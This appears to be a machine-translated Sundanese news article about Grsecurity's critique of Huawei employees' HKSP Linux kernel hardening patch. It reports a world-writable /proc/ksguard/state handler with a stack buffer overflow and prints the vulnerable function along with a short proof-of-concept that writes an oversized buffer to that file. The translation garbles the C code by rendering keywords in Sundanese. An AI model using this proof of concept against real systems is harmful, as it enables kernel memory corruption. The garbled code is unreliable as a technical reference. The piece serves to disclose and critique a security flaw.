Pamekar proyék Grsecurity
Patch HKSP diterbitkeun ku karyawan Huawei, kalebet nyebut Huawei dina profil GitHub, sareng nganggo kecap Huawei dina nami proyék (HKSP - Huawei Kernel Self Protection). Dina waktos anu sami, wawakil Huawei nampik sambungan proyék HKSP sareng perusahaan sareng nyatakeun yén kodeu dikembangkeun dina inisiatif pribadi karyawan, sanés proyék Huawei resmi sareng henteu dianggo dina produk perusahaan. Dina
HKSP ngawengku parobahan saperti randomization of offsets dina struktur cred, panyalindungan ngalawan serangan dina pamaké identifier namespace (pid namespace), separation tina tumpukan prosés ti wewengkon mmap, deteksi telepon ganda pikeun fungsi kfree, blocking leaks ngaliwatan pseudo nu. -FS / proc (/ proc / {modul, konci, konci-pamaké}, / proc / sys / kernel / * jeung / proc / sys / vm / mmap_min_addr, / proc / kallsyms), ningkat randomization alamat spasi pamaké, tambahan Ptrace panyalindungan, ditingkatkeun smap na smep panyalindungan , kamampuhan pikeun nyaram ngirim data via sockets atah, blocking alamat salah dina sockets UDP tur mariksa integritas prosés ngajalankeun. Éta ogé kalebet modul kernel Ksguard, anu ditujukeun pikeun ngadeteksi usaha pikeun ngenalkeun rootkit khas.
Tambalan
Ulikan ngeunaan patch ku pamekar Grsecurity ngungkabkeun seueur kasalahan sareng kalemahan dina kode, sareng ogé nunjukkeun henteuna modél anceman anu bakal ngamungkinkeun aranjeunna pikeun nangtoskeun kamampuan proyék éta. Pikeun jelas demonstrate yén kode ieu ditulis tanpa ngagunakeun métode programming aman, hiji conto kerentanan trivial di Handler dibikeun.
file / proc / ksguard / kaayaan, nu dijieun kalawan hak 0777, implying yén dulur boga aksés nulis. Fungsi ksg_state_write, dipaké pikeun parse paréntah ditulis ka /proc/ksguard/state, nyiptakeun tmp [32] panyangga nu data ditulis dumasar kana ukuran operan diliwatan, tanpa nyokot kana akun ukuran panyangga target jeung tanpa. mariksa parameter kalayan ukuran string. Jelema. Pikeun nimpa bagian tina tumpukan kernel, panyerang ngan ukur kedah nyerat garis anu diformat khusus ka /proc/ksguard/state.
statik ssize_t ksg_state_write(struct file *file, const char __user *buf,
ukuran_t len, loff_t *offset)
{
nilai u64;
char tmp[32];
ukuran_t n = 0;
lamun (copy_from_user(tmp, buf, len))
mulang -1;
nilai = simple_strtoul(tmp, '\0', 10);
...
Eksploitasi prototipe:
char buf [4096] = {};
int fd = open(“/proc/ksguard/state”, O_WRONLY);
lamun (fd>= 0) {
tulis(fd, buf, sizeof(buf));
nutup (fd);
}
sumber: opennet.ru